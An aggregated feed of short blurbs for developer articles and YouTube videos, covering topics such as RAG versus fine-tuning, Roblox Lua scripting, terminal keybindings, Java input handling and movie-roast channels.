    RAG vs Fine‑Tuning: A Simple, Practical Guide for Beginners
    Generative AI is accelerating faster than ever, yet many beginners still struggle to understand one of the most important questions: "When should I use RAG, and when should I use Fine-tuning?" This article breaks it down in the simplest, most practical way — with diagrams, real-world examples, and use cases you can immediately apply. 🚀 Introduction Large Language Models (LLMs) like GPT, Llama, and Mistral come with powerful general knowledge. Your company’s data Your style Your rules To achieve this, two major techniques exist: RAG (Retrieval-Augmented Generation) Fine-tuning They solve different problems — and understanding them can save you time, money, and effort. Let's break them down. 🧠 What is Fine-tuning? Fine-tuning simply means: Teaching the model new behavior by giving it examp…  ( 8 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins storm through a four-song Tiny Desk set with thunderous distorted bass, hip-hop beats and raspy vocals. Kicking off with the in-your-face “Cleopatra” and tackling inner demons on “Monsters,” Georgia South and Amy Love even duck under the desk to tweak their spaceship-sized pedalboards mid-show. “Hummingbird” buzzes to life via a supernatural Harp Blaster mic, and drummer Jake Woodward helps them close out with full-on rock fury on “Choose Your Fighter.” It’s a bold reminder that nice, polite girls can shred—and then some. Watch on YouTube  ( 6 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT Hacks that Cut Your Workload in Half Learn four killer techniques—Prompt Reversal to reverse-engineer perfect prompts, the 5-Minute Amplifier to spin one idea into multiple formats, the Red Team method for AI self-critique, and Blueprint Scaffolding to force ChatGPT to show its reasoning before it writes. Each hack comes with real examples and timestamps so you can plug them into your workflow right away. These tricks have literally sliced my AI time in half—no matter your role or industry. Plus, you’ll get a free ChatGPT ebook, a detailed blog post, and access to waitlists for next-level AI and productivity courses to keep the momentum going. Watch on YouTube  ( 6 min )
    How to Start Lua Coding in Roblox in 2025?
    Are you eager to dive into the world of Roblox game development in 2025? Lua, the scripting language used in Roblox, is an excellent starting point for aspiring developers. This guide will walk you through the basics of Lua in Roblox, offering tips, resources, and best practices to get you coding in no time! Lua is a lightweight, high-level programming language that is popular for game development due to its simplicity and ease of use. In Roblox, Lua is the primary language for scripting, allowing you to create interactive games. Its low learning curve makes it ideal for beginners. Before you begin coding, here are the steps you need to follow: To start coding with Lua, you'll need Roblox Studio, the platform's official development environment. With an intuitive interface, Roblox Studio pr…  ( 7 min )
    Building CanopySplit: A Deep Dive into Octant V2 Yield Donating Strategies
    Introduction CanopySplit is a multi-layer DeFi protocol that transforms idle capital into climate impact. Users deposit WETH, earn yield through Aave v3, and automatically split 100% of profits among climate recipients—all while keeping their principal withdrawable at any time. This technical deep-dive covers: Octant V2 Yield Donating Strategy architecture ERC-4626 vault integration with Aave v3 Epoch-based donation splitting mechanics Custom Uniswap v4 hook for swap fee donations Production deployment challenges on Sepolia Live on Sepolia: Strategy: 0x0D1d8AE2dD0e4B06ca0Ef2949150eb021cAf6Ce9 Splitter: 0xda5fA1c26Ec29497C2B103B385569286B30EC248 Asset (WETH): 0xC558DBdd856501FCd9aaF1E62eae57A9F0629a3c Architecture Overview ┌─────────────┐ │ User Wallet │ └──────┬────…  ( 11 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less CinemaSins is back with a rapid‐fire roast of Thunderbolts, pointing out all the “sins” you can cram into 20 minutes—yet still asking, “Is this movie kinda great?” Along the way, they link to their main site, extra YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a quick poll to learn about you, and a Patreon if you want to keep the sin machine running. They also roll credits for their writing team (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) with Twitter/Instagram handles, plus all the community hangouts: Discord, Reddit, Instagram, TikTok, and even Jeremy’s book. Watch on YouTube  ( 6 min )
    From JPMorgan's Trading Desk to Your Terminal: Building a Natural Gas Storage Valuation Engine
    How I reverse-engineered Wall Street's approach to energy trading and built a production-ready quantitative pricing system Imagine you're an energy trader staring at a complex proposal: a client wants to store 1 million units of natural gas for 6 months. They'll inject in summer when prices are low and withdraw in winter when prices typically spike. The question every trading desk faces: "What's the fair price for this storage contract?" This isn't academic it's the exact challenge I tackled in a JPMorgan Chase quantitative research simulation. The result? A sophisticated valuation engine that bridges the gap between complex energy markets and executable trading decisions. At its core, my system solves the fundamental equation of energy storage: Contract Value = (Withdrawal Revenue - Injec…  ( 10 min )
    Shifting Gears: What TDD Taught Me About Using AI Assistants
    If you’ve ever studied the TDD Gears model from TDD Buddy , you’ll know it’s one of the clearest ways to explain how our thinking evolves when practicing Test-Driven Development. Each gear represents a different scale of thought and a level of strictness in applying practices, while the underlying principles remain constant. In recent months, I’ve found myself drawing a strong parallel between the TDD Gears model and how we use AI assistants such as ChatGPT, GitHub Copilot, or Claude. The way we “shift gears” when coding, designing, or debugging feels remarkably similar to how we move through the gears of TDD. In both, the key is to maintain discipline, reflection, and professionalism regardless of speed. This article maps the TDD Gears to AI Assistant Gears showing how we can approach AI …  ( 10 min )
    The Code of Life: What Python's Data Structures Teach Us About Growth
    Why I Wrote This Last week, I was debugging a complex algorithm at 2 AM when something clicked. I wasn't just organizing data I was organizing life itself. The way I structured my code mirrored how I structure my days, my priorities, my relationships. Lists that grew and shrank. Tuples that never changed. Sets that filtered out the noise. It hit me: We're all writing code, whether we realize it or not. As developers, we spend years mastering syntax and algorithms. But what if these structures we use daily are actually teaching us something deeper about being human? I wrote this because I believe the most powerful code we'll ever write isn't in our IDE it's in how we architect our lives. As a developer, I spend hours thinking about data structures. But recently, I discovered something pro…  ( 8 min )
    Easy Lua Scripts for Roblox Games in 2025?
    If you are diving into the world of Roblox game development in 2025, learning easy Lua scripts can significantly boost your productivity and creativity. Lua, a lightweight, high-level programming language, is primarily used for scripting in Roblox, providing game developers with robust tools to create interactive and engaging experiences. Lua's simplicity and flexibility make it an ideal language for beginners and seasoned developers alike. Whether you want to create unique game mechanics, control the game flow, or interact with players, Lua facilitates these tasks seamlessly. In 2025, with updates and improvements, Lua continues to thrive as a core component of Roblox game development explore the future of lua coding. Getting started with Lua scripts in Roblox doesn't require a steep lear…  ( 7 min )
    Predicting Fuel Efficiency with Tree-Based Models: A Hands-On Machine Learning Walkthrough
    Understanding how vehicle characteristics affect fuel efficiency is a classic regression problem — and an excellent way to explore tree-based models like Decision Trees, Random Forests, and XGBoost. In this project, I analyzed a dataset of cars and built models to predict fuel efficiency (MPG) with different configurations. The dataset contained various vehicle features, including: vehicle_weight engine_displacement horsepower acceleration model_year origin fuel_type To ensure data consistency, all missing values were filled with zeros. train/validation/test split (60%/20%/20%), using a random_state=1 for reproducibility. Next, I used DictVectorizer(sparse=True) to convert categorical and numerical features into a format suitable for scikit-learn models. I began with a Decision Tree Regres…  ( 7 min )
    Episode 1: Arrays — The Hidden Logic Behind How Your Code Remembers
    What Is an Array? In short, an array is a sequence of values stored contiguously (back-to-back) in memory. When an array is created, the computer allocates a continuous block of memory large enough for all its elements. For example, an array of three integers will occupy 12 bytes in total (since an integer is typically 4 bytes), with the four bytes for each integer stored immediately next to the next. Why Arrays Are Zero-Indexed When an array is created, the computer: Allocates a contiguous block of memory large enough for all elements. So when you write: let numbers = [10, 20, 30]; The computer knows: The base address (say, 0x1000) points to the first element (10). Each integer takes 4 bytes. Therefore: numbers[0] → address 0x1000 numbers[1] → address 0x1004 numbers[2] → address 0x1008 …  ( 10 min )
    Why CSS Is So Hard for Generative AIs to Understand?
    CSS is one of those things that looks simple, until you actually try to reason about it. Most people consider CSS an easy language to learn, yet somehow, LLMs that can solve calculus problems still get defeated by a few lines of CSS. In this article, I'll share my thoughts on why Generative AIs struggle to create good layouts, and how TailwindCSS helps them overcome this challenge. Let's imagine we're using CSS the way the web originally intended, with a separate CSS file, defined selectors, and a linked stylesheet. In this setup, let's discuss the CSS nature. In CSS a single rule like position: relative can completely alter the layout and even all other properties behavior. So one line might behave in many different ways, depending on where it used. By design, it's impossible to look at a…  ( 7 min )
    Unlocking Developer Revenue: The Future of AI Monetization with Monetzly
    What if Your AI App Could Generate Revenue in Two Ways Simultaneously? In the rapidly evolving landscape of AI applications, developers face a common challenge: monetizing their creations without compromising the user experience. With AI apps exploding in popularity, the pressure to generate revenue is palpable. But what if there was a way to create a sustainable model that benefits developers, advertisers, and users alike? Enter Monetzly—an innovative platform that allows you to monetize your AI applications in a dual revenue revolution. Imagine earning revenue not just from your AI app, but also by hosting contextually relevant ads, all while maintaining a seamless user experience. Monetzly is the first platform to offer this dual-earning capability specifically designed for AI-driven …  ( 7 min )
    Building Flipr: a URL shortener, one commit at a time
    Part 1: the simplest thing that could possibly work Welcome to the first post in a series that dives into the world of distributed systems building on Kubernetes, using as a subject the "Todo application" of systems design: a URL shortener we'll call Flipr 🐬. The goal is to build an actual, functioning, deployable system, designed to scale from a single instance to a distributed cluster on Kubernetes. Photo by Louan García on Unsplash This series focuses on building a distributed, scalable URL shortener and the architectural decisions behind it. To keep that focus sharp, I'm intentionally omitting several things that would be critical in a production system, such as: No unit tests: focus is on architectural evolution, not a production-ready codebase Minimal input validation: basic checks…  ( 13 min )
    الشبح اللي فـ الماكينة ديالك
    كيفاش وزارة الدفاع الأمريكية كانت سبّاقة فالتكنولوجيا اللي كنعرفوها اليوم 👀 المقدّمة: اليد الخفية اللي بنت العالم الرقمي ديالنا نهار كتفيق، كتشعل التليفون، كتسول "سيري" على الجو، ولا كتشوف فين وصل الطاكسي ديالك فـ الخريطة... كل هادشي كيدور على تكنولوجيا معمّرة سنين ضوئية فالذكاء والتعقيد. تزادت فالمختبرات ديال وزارة الدفاع الأمريكية (DoD)، سنين قبل ما يسمع بها الناس العاديين؟ كطالب فالهندسة المعلوماتية، بديت نكتاشف أن الجيش الأمريكي ماشي غير مستعمل للتكنولوجيا، هو كان السبّاق والمكتشف الأول. بزاف من الحوايج اللي كنعتابروها "جديدة" اليوم، أصلها كان عسكري وبعيد فالزمن. ⚙️ البداية: كيفاش الحاجة كتولّد الابتكار المؤسسات العسكرية ما كتفكّرش بحال الشركات. DARPA (Defense Advanced Research Projects Agency). "نتجنّبو المفاجآت الاستراتيجية… و نصنعو المفاجآت الاستراتيجية." بمعنى آخ…  ( 7 min )
    [Boost]
    Meet SkillHunt - a Career Platform for Developers Yan Levin ・ Nov 8 #webdev #ai #programming #javascript  ( 5 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    London’s Nova Twins took NPR’s Tiny Desk by storm, unleashing a face-melting fusion of distorted bass, hip-hop-infused beats and raspy vocals. Amy Love and Georgia South didn’t waste time easing in—“Cleopatra” kicks off the set with a bold middle finger to doubters, before “Monsters” sees them battling their inner demons live. Between sub-orbital pedalboard tweaks and a supernatural “Hummingbird” powered by a Harp Blaster mic, the duo proved they’re pedal nerds in the best way possible. They closed out with the heavy-hitting “Choose Your Fighter,” shattering any expectations of what a “nice, polite” performance should sound like. Watch on YouTube  ( 6 min )
    Theater Alpha - The Rewind Update
    Alpha 3 introduces the feature that defines Theater Alpha’s identity: the Rewind System. It’s not a panic button. It’s a resource. You get two shots per mission to take back the last 15 seconds and choose a different line. Use them well and you’ll create momentum. Waste them and you’ll feel the weight of every decision that follows. I tested slow‑motion early on. It worked, but it turned into a tax. If a game gives you a “think longer” button, you’re punished for not pressing it. It becomes mandatory. The Carrot not Stick design approach in Game Design Rewind flips that. You’re not avoiding mistakes—you’re learning from them. Try the flank. If it fails, roll it back and try a smarter angle. The story still includes the miss, and the adjustment is the point. It feels earned instead of autom…  ( 7 min )
    Your SSR Isn’t Fast — Hydration Is Dragging It Down
    Imagine you’re on a slow mobile network, scrolling through the news on your phone. The page loads instantly — text, images, layout all appear right away. Visually, it seems ready. You tap “Read more.” Nothing happens. A second tap. Still nothing. Then suddenly the page springs to life and behaves normally. What you just experienced is the hidden cost of hydration — the process modern frameworks use to “wake up” server-rendered HTML in the browser. It’s clever, it has served us well, but it’s far from lightweight. This article explores why hydration is computationally expensive and how partial hydration offers a more efficient path forward. Server-side rendering (SSR) allows users to see the interface immediately by delivering HTML first. However, HTML on its own is static — it cannot handl…  ( 9 min )
    Agentic AI Design Patterns
    1️⃣ Reflection Loop Pattern - The Secret Behind Self-Improving AI 🧠 Concept It uses feedback from its own reflection before finalizing results, turning a “chatbot” into a self-critic — better logic, fewer errors. 🧩 Developer’s Analogy ⚙ How It Works 💼 Why It Matters Produces higher-quality, more consistent answers Reduces hallucinations and reasoning errors Enables autonomous improvement without retraining 💡 When: Code generation requiring security audits or compliance checks Content creation needing factual verification before publication Financial analysis where incorrect conclusions risk capital ⛔Limitations: Each reflection cycle increases token consumption and latency Without well-defined exit conditions, agents can loop unnecessarily Critique criteria must be specific and measurable; vague instructions like “check if this is good” produce inconsistent results 💡 Developer Template 💻 Example (Software Engineering) By adding a Reflection Loop, the AI no longer acts like a one-shot responder; it behaves like a self-reviewing thinker. Each loop helps the AI: Detect gaps in reasoning Spot inconsistencies Refine before finalizing This is how agentic systems evolve — gaining depth, reliability, and continuous improvement.  ( 7 min )
    Foundation JS
    toString() Method It's a method you can use for numbers, booleans, arrays, and objects. const num = 10; console.log(num.toString()); // "10" const arr = [1, 2, 3]; console.log(arr.toString()); // "1,2,3" const person = { name: "John", age: 30, isStudent: true }; console.log(person.toString()); // "[object Object]" The Number() constructor is used to create a number object. The number object contains a few helpful properties and methods like the isNaN and the toFixed method. const myNum = new Number("34"); console.log(typeof myNum); // "object" In this example we pass in a string literal to the Number() constructor and the return type is of type object instead of a string. When the Number() constructor is called as a function without the new keyword, then the return value will…  ( 9 min )
    From JPMorgan's Trading Desk to Your GitHub: Building a Natural Gas Price Forecasting Engine
    How I reverse-engineered Wall Street quantitative research and what it taught me about production ML systems The Quant's Crystal Ball What if you could predict natural gas prices months in advance? What if you could build the same type of forecasting systems used by Wall Street energy traders? That's exactly what I did in a JPMorgan Chase quantitative research simulation, and I'm opening up the complete engine for everyone to see. This isn't just another ML tutorial this is a production-ready forecasting system that demonstrates how quantitative research meets MLOps in real-world financial applications. Energy companies and traders face a critical challenge: how to price long-term natural gas storage contracts when prices fluctuate daily. The solution requires: Accurate price …  ( 8 min )
    Cloud Resume Challenge - Chunk 4 - Building the Automation and CI
    By now, my Cloud Resume journey had already given me: ✅ A strong AWS foundation (Chunk 0) ✅ A static front-end (Chunk 1) ✅ A serverless API visitor counter (Chunk 2) ✅ Automated deployments + smoke testing (Chunk 3) But there was still one major gap: my infrastructure wasn’t yet described in code, and my software supply chain needed extra hardening. This chunk was all about professional-grade DevOps practices: Use Terraform to manage AWS resources as code. Secure the supply chain for my build + deployment pipeline. Document the system with architecture diagrams. Share the final product + GitHub repo for transparency. ClickOps (manually clicking through the AWS console) works when learning, but in production it’s a recipe for drift and risk. I converted every major AWS component into modula…  ( 9 min )
    CinemaSins: Everything Wrong With Sinners In 15 Minutes Or Less
    Everything Wrong With Sinners In 15 Minutes Or Less CinemaSins dives into what they hail as one of the year’s best genre flicks, playfully nitpicking every detail in under 15 minutes—because even masterpieces deserve a little roasting. Perfect for a Halloween watch, it’s equal parts love letter and cheeky critique. Along the way, they plug their website and YouTube offshoots (@TVSins, @commercialsins, @cinemasinspodcastnetwork), drop links to Discord, Reddit, Instagram, TikTok, and a fan poll, and invite you to support the team on Patreon. Plus, meet the writers behind the sins—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—each with their own socials for your following pleasure. Watch on YouTube  ( 6 min )
    BatchSubmit turn command line legacy programs into web applications
    https://github.com/socaltiger/BatchSubmit.com A long-established software company has developed a suite of legacy professional applications in Fortran, COBOL, R, and Python. These tools, while powerful, were designed for programmers and not easily accessible to non-technical users. By adopting BatchSubmit, the company transformed its command-line programs into Web applications. This platform bridges complex backend code and end users, allowing anyone to run sophisticated computations simply by filling out a web form—without programmer assistance. The result is improved efficiency, reduced human error, and a modernized workflow.  ( 6 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT Hacks That Halve Your Workload Tired of endless prompt tweaking? These four tricks—Prompt Reversal (reverse-engineer your best prompts), the 5-Minute Amplifier (turn one idea into multiple formats), the Red Team Technique (have AI critique its own work) and Blueprint Scaffolding (force it to outline its reasoning before writing)—give you rock-solid responses on the first try. Put them into action with real examples, and watch your AI workflow time drop by 50%. Works for any role or industry, no matter what you’re building. Watch on YouTube  ( 6 min )
    The Art of Absence: A Journey Through `null` and `undefined` in Default Parameters
    Prologue: The Empty Canvas Imagine standing before a pristine canvas—your function signature. You're designing an API that must handle both presence and absence with grace. The parameters you receive might be fully formed objects, partially complete sketches, or complete voids. How do you define what happens when something isn't there? This is the story of two different kinds of nothingness: null and undefined. One is a deliberate statement of absence, the other is the absence of a statement. And in the world of default parameters, this distinction becomes art. Let me take you back to a time before ES6, when we painted our defaults by hand: function createUserProfile(config) { // The old ways - manual defaulting config = config || {}; const name = config.name || 'Anonymous'; …  ( 11 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts (The New Avengers) In 20 Minutes Or Less tears into every plot hole, continuity oopsie and cheeky moment in the latest Marvel caper—while still wondering if it might be kinda great after all. CinemaSins has all the juicy deets on their website, sinful poll and Patreon, plus links to follow their roasting adventures on YouTube, Twitter and beyond. Big shout-out to the sin team—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and don’t forget to join the fun on Discord, Reddit, Instagram and TikTok for behind-the-scenes banter and nonstop movie snarks. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Mr Sunday Movies dives into the 2010 sequel Predators, celebrating how it ditches the Alien vs. Predator detours to bring back a ragtag group of lunatics dropped into a deadly jungle for muddy, bone-crunching showdowns. He points out clever twists that elevate it above previous entries, but bemoans that this gritty reboot never got a proper follow-up, leaving fans hungry for more. Watch on YouTube  ( 6 min )
    Revisiting Java: Building a Simple Functional Calculator
    It's been a while since I've done any programming in Java. My day job has been all Javascript, Python, and Go. I found myself with about an hour to kill and decided to dust off the ol' Java skills. Of course, as soon as I decided this, my brain stopped working and my mind went blank. Because I had limited time and really just wanted to get back into the Java syntax, I thought: "just create anything, no matter how simple." What's more simple than a calculator? Cool, don't have to think too much. Just have to get warmed up. After figuring out which JVM I had on my MacBook, I opened up IntelliJ (been a minute for that, too) and quickly produced exactly what you might expect. public class RegularCalculator { public RegularCalculator() { } public double add(double a, double b) { …  ( 8 min )
    Celestmere Institute of Enchantment: Frontend Challenge - Halloween Edition
    This is a submission for Frontend Challenge - Halloween Edition, Perfect Landing Nothing reminds me of Halloween more than watching Harry Potter movies. That inspired me to create my own HP-inspired world — a place where magic still exists and continues to evolve in the 21st century. The landing page represents one of many magic schools, that compete for students just like any other university. Are you convinced to join and master your Magic Spark? 🧙💫 Live Demo As mentioned in the project’s README, I usually focus on functional web design where form isn’t the main priority. This time, I wanted to build something completely from scratch — no frameworks — with full attention to detail. While coding, I learned a lot about CSS. I’ve always relied on Bootstrap and some basic styling when the framework couldn’t handle everything, but using vanilla CSS is a whole different experience. Time to keep learning!  ( 6 min )
    How Rust Transforms Error Handling: From Crashes to Reliable Software Systems
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! When I first started programming, errors felt like unexpected guests crashing a party. They'd show up unannounced and ruin everything. In many languages, errors are handled through exceptions that can pop up anywhere, making it hard to predict when things might go wrong. Rust changed my perspective entirely. Here, errors aren't surprises; they're just another kind of value that you plan for from the start. This approach makes software more reliable because the compiler helps you handle failures before the code even runs. Rust uses two main types to manage potential problems: Option and Result. Think of Option as a box tha…  ( 12 min )
    yourcast! - personalized AI podcast app
    Why even bother making a podcast app? yourcast! was born out of pure frustration. Like many people my age, my attention span has been whittled down to mere minutes, and my interests have been massively diversified: music production, AI technology, MMA, world news, startups, film & tv. I found myself flipping through 10-15 news sites and YouTube channels every day just to stay informed and keep up with the latest happenings. That wasn't the only issue. I wanted my news fix without being glued to my phone—at the gym, on the bus, lying in bed. A podcast seemed like the obvious solution—except every podcast I tried was either 2 hours of strangers debating stories I don't care about, generic news read by robots, or ragebait algorithms trying to keep me scrolling. I wanted something that felt …  ( 7 min )
    From Zero to AI Agent: My 6-Month Journey with LLMs
    From Zero to AI Agent: My 6-Month Journey with LLMs When I started building my first AI agent six months ago, I had no idea what I was getting into. I'd read articles about LangChain, watched tutorials on prompt engineering, and felt confident I could piece something together in a weekend. Reality hit me hard on day three when my "simple" chatbot crashed for the fifth time, and I had no idea why. Let's walk through this journey together—the mistakes I made, the tools that saved me, and what I wish someone had told me on day one. My first week was humbling. I thought building an AI agent meant writing a few prompts and calling it a day. Instead, I discovered that building effective AI agents involves managing inference latency, handling unpredictable outputs, and architecting systems that…  ( 10 min )
    What if 100 agents could optimize your code simultaneously in isolated production environments without copying data?
    You're staring at a slow query. You know it needs optimization. But which approach? Add an index? Rewrite the logic? Use caching? Traditionally, you'd: Make a guess Test it (30 minutes to copy the database) Maybe it works, maybe it doesn't Repeat 5-10 times Hope you found the best solution Total time: 3-5 hours. Best outcome: uncertain. ParallelProof flips this on its head: What if 100 AI agents could test 100 different strategies at the exact same time, each with a full copy of your production database, and tell you which one wins—all in under 3 minutes? That's not science fiction. That's Tiger Data's Agentic Postgres + zero-copy forks + multi-agent orchestration. Traditional Approach: ─────────────────────────────────────────────────── Try Strategy 1 → Wait 30min → Test → Analyze …  ( 10 min )
    ArtistAssistApp New Features and Improvements – November 2025
    ArtistAssistApp, also known as Artist Assist App, is a web app for artists to accurately mix any color from a photo, analyze tonal values, turn a photo into an outline, draw with the grid method, paint with a limited palette, simplify a photo, remove the background from an image, compare photos pairwise, and more. Hello, artists! I am pleased to announce the latest update to the ArtistAssistApp, released in November 2025. This time, there are some major new features in addition to the usual stability and performance improvements. Let's take a look at what's new since the last major update in August 2025! Adjusting White Balance Using the Percentile and Reference Methods We've improved how you adjust white balance in your photos! Two easy methods to choose from: Percentile (automatic): Gre…  ( 7 min )
    Caching Strategy for RESTFUL API
    Caching Strategy for restful API and website performance of any web page is a significant factor. It can affect the user’s experience and affect the business if not considered and optimized correctly. Research has shown that website load time and performance can heavily impact different factors such as SEO, engagement, and conversation rates. According to Amazon: “1 second of load lag time would cost Amazon $1.6 billion in sales per year”. Google also noted that “A lad time of 400ms results in a decrease of 0.44% traffic – In real terms this amounts to 440 million abandoned sessions/month and a massive loss in advertising revenue for Google.” Google said that “An extra 0.5 seconds in each search page generation would cause traffic to drop by 20%.” Now, that is massive: Walmart also admitte…  ( 15 min )
    Wait, Can We Automate Our Commit-Driven Social Media Updates?
    So like, imagine you just shipped a feature right? And everyone tells you to tweet about it but then you realize your last 5 tweets got zero engagement except for that one reply from your college roommate asking if youre okay because you tweeted at 3am again. And now youre spiraling about whether anyone actually cares about your side project or if youre just screaming into the void while pretending to build in public. Which is weird because building in public is supposed to help but it just makes you feel more isolated somehow? Anyway, where was I going with this? Oh right, automated social media updates from your GitHub commits. So basically, we all know GitHub is where the magic happens for devs, but then you need to turn those commits into engaging social content... which is like, super…  ( 7 min )
    Devtool for running and benchmarking local AI
    We’ve just created Embedl Hub, a developer platform where you can experiment with on-device AI and analyze how models perform on real hardware. It allows you to optimize, benchmark, and compare models by running them on devices hosted in the cloud, so you don’t need access to physical hardware yourself. You can test performance across phones, dev boards, and SoCs directly from your Python environment or terminal. Everything is free to use. Optimize and deploy your model on any edge device with the Embedl Hub Python library: Quantize your model for lower latency and memory usage. Compile your model for execution on CPU, GPU, NPU or other AI accelerators on your target devices. Benchmark your model's latency and memory usage on real edge devices in the cloud. Embedl Hub logs your metrics, pa…  ( 8 min )
    What Is a Lua Module in Roblox in 2025?
    In the rapidly evolving world of game development, staying ahead means understanding the latest updates and tools. As of 2025, Roblox continues to be an innovative platform, allowing creators to bring their ideas to life with Lua scripting. One essential component for efficient scripting in Roblox is the Lua module. But what exactly is a Lua module, and why is it crucial for developers on the platform? Let's delve into the world of Lua modules in Roblox and understand their significance in 2025. A Lua module in Roblox is a reusable piece of code created to perform specific tasks. These modules help developers organize their code, making it easier to manage and debug, especially as projects grow in complexity. Lua modules function similarly to functions but offer a more structured approach,…  ( 7 min )
    Rewiring Experts on the Fly:Continuous Rerouting for Better Online Adaptation inMixture-of-Expert models
    AI That Reroutes Its Own Thoughts While Writing Ever wondered how a chatbot could get smarter while it’s answering you, without any extra data? Scientists have discovered a clever trick for a type of AI called a Mixture‑of‑Experts model. online adaptation happens in two short bursts: first while the AI is setting up its answer, and then at regular pauses during the conversation. What matters most is that this boost comes without any extra data or heavy computing—just a tiny, plug‑and‑play tweak. Read article comprehensive review in Paperium.net: Rewiring Experts on the Fly:Continuous Rerouting for Better Online Adaptation inMixture-of-Expert models 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 23 min )
    Ghostty + Zellij 👻 setup on Mac
    So i have been using Ghostty with Zellij on macOS for a while, as my favourite goto terminal and workspace. However, some things have been bothering me for a while that I couldn't sort out until now: The Option key on macOS wasn't being interpreted as Alt correctly in the terminal Jumping forward a word with Option+Right would trigger Zellij's floating pane toggle instead Reordering tabs with Alt+i and Alt+o did not work as expected This happens because macOS terminals convert Option+Right to Alt+f (for "forward word" navigation), which conflicts with Zellij's Alt+f floating pane keybinding. Set the macos-option-as-alt option in your Ghostty config e.g.: # Enable Option key as Alt for keybindings # Use 'left' so right Option key can still type special characters macos-option-as-alt = left This lets us use the left Option key as Alt for Zellij keybindings, while the right Option key can still type special characters (',~, |, etc.). Since Option+Right still is interpreted as Alt+f by the terminal, we need to change Zellij's floating pane keybinding. This can be changed in your Zellij config e.g.: bind "Alt Shift f" { ToggleFloatingPanes; } Hope this helps you out, if you have been struggling with the same issues like i did 👋  ( 6 min )
    How Being Lazy Made Me a Better Developer
    I’m Asad Hussain, currently doing my Bachelor of Computer Applications at IEM Kolkata. I’ve been into coding for a while now and honestly, it’s the only hobby that stuck 😭😭😭 Thanks for reading :)  ( 6 min )
    Bilişim Sektöründe Uzmanlaşmanın İki Yüzü
    O Büyülü Kelime “Uzmanlık” Bilişim sektörüne adım atan herkesin kariyerinin bir noktasında duyduğu o sihirli tavsiye: “Bir alanda uzmanlaşmalısın.” CV’nizde “Python Django Geliştiricisi”, “AWS Güvenlik Uzmanı” veya “React Native Mobil Geliştirici” gibi niş bir unvanın olması, size hem daha yüksek bir maaş hem de sektörde saygınlık vaat eder. Peki, bu madalyonun bir de öteki yüzü varsa? Tek bir teknolojiye veya alana adanmış bir kariyer, farkında olmadan bizi bir kariyer tuzağına doğru sürüklüyor olabilir mi? Bu yazıda, bilişim sektöründe uzmanlaşmanın parlak vaatlerini ve göz ardı edilen risklerini masaya yatıracağız. Uzmanlaşmanın Parıltılı Vaatleri: Neden Herkes Uzman Olmak İster? Uzmanlaşmanın neden bu kadar çekici olduğunu anlamak zor değil. Başlıca faydaları şunlardır: Derinlemesine B…  ( 8 min )
    Smart Job Search System for Developers, Stop Randomly Applying
    Most developers apply to hundreds of jobs… and still don’t land the right one. They scroll through LinkedIn, Indeed, or remote job boards, sending CVs everywhere — hoping something sticks. But if you ask them where they applied last week, what roles they’re targeting, or how many they plan to apply for next week — they have no idea. They’re playing the random application lottery. And honestly? That rarely works. I’ve been there too — spending weeks applying aimlessly, wondering why I wasn’t getting callbacks. Until I built a system. A simple, step-by-step job search framework that finally made the process structured, trackable, and less stressful. Today, I’ll share that exact system with you — the same one I personally use to track opportunities, stay consistent, and apply smarter, not har…  ( 9 min )
    Getting Started With Queryable Encryption With the MongoDB EF Core Provider
    This tutorial was written by Luce Carter With the release of MongoDB 7.0 in August 2023, MongoDB introduced a new feature called Queryable Encryption (QE), the first of its kind. With Queryable Encryption, your data is encrypted, even at rest, with the database server unable to read it either but still able to execute queries against it. You can configure what fields to encrypt so you can decide to encrypt as much or as little of your document’s fields as you need. The great news is, not only is this available for all paid tiers and in our C# driver, but it’s now also available in the MongoDB Entity Framework Core (EF) provider. In this tutorial, we are going to take an existing Blazor application that uses EF and the EF Core Provider, and configure it to use QE to securely encrypt certai…  ( 12 min )
    Scanner vs BufferedReader
    Comparación de Características Característica Scanner BufferedReader Facilidad de uso Más simple y directo para leer distintos tipos de datos (nextInt(), nextLine(), etc.) Solo lee texto como String, se necesita Integer.parseInt() para números. Velocidad Más lento Más rápido, especialmente con muchos datos. Parsers incluidos Sí, métodos como nextInt(), nextDouble(), etc. No, debes convertir manualmente (Integer.parseInt()). Lectura de líneas Con nextLine() Con readLine() Uso con consola Ideal para programas interactivos Menos cómodo, requiere más código. Sincronización No sincronizado Sincronizado (thread-safe). Scanner import java.util.Scanner; public class ScannerExample { public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.print("Enter your name: "); String name = sc.nextLine(); System.out.print("Enter your age: "); int age = sc.nextInt(); System.out.println("Hello " + name + ", age " + age); } } BufferedReader import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.IOException; public class BufferedReaderExample { public static void main(String[] args) throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); System.out.print("Enter your name: "); String name = br.readLine(); System.out.print("Enter your age: "); int age = Integer.parseInt(br.readLine()); System.out.println("Hello " + name + ", age " + age); } } Usa Scanner si: Estás haciendo prácticas de algoritmos en consola. En programas donde la facilidad de lectura es más importante que la velocidad. Usa BufferedReader si: Necesitas máximo rendimiento (por ejemplo, al leer grandes cantidades de datos). Estás haciendo parsing de archivos grandes o input de alta velocidad en línea.  ( 6 min )
    CinemaSins: Everything Wrong With Sinners In 15 Minutes Or Less
